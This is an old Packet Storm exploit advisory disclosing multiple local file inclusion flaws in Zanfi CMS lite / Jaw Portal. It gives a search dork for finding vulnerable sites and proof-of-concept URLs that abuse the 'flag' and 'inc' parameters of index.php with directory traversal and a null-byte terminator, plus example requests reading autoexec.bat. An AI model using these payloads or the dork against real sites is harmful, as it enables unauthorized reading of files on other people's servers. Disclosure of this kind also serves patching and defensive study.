Lucene search

K
packetstormSirGodPACKETSTORM:69804
HistorySep 10, 2008 - 12:00 a.m.

zanficms-lfi.txt

2008-09-1000:00:00
SirGod
packetstormsecurity.com
14
`############################################################################################################  
[+]Zanfi CMS lite / Jaw Portal free (index.php page) Multiple Local File Inclusion  
[+]Discovered by SirGod  
[+]MorTal TeaM  
[+]Greetz E.M.I.N.EM,Ras,Puscas_marin,ToxicBlood,HrN,Kemrayz,007m  
############################################################################################################  
  
[+] Dork : Powered by: Zanfi Solutions  
  
[+] Local File Inclusion  
  
PoC :  
  
http://[target]/[Path]index.php?flag=[Local File]%00  
  
Example :  
  
http://127.0.0.1/index.php?flag=../../../autoexec.bat%00  
  
  
PoC :  
  
http://[target]/[Path]/index.php?inc=[Local File]%00  
  
Example :  
  
http://127.0.0.1/index.php?inc=../../../autoexec.bat%00  
  
############################################################################################################  
  
  
`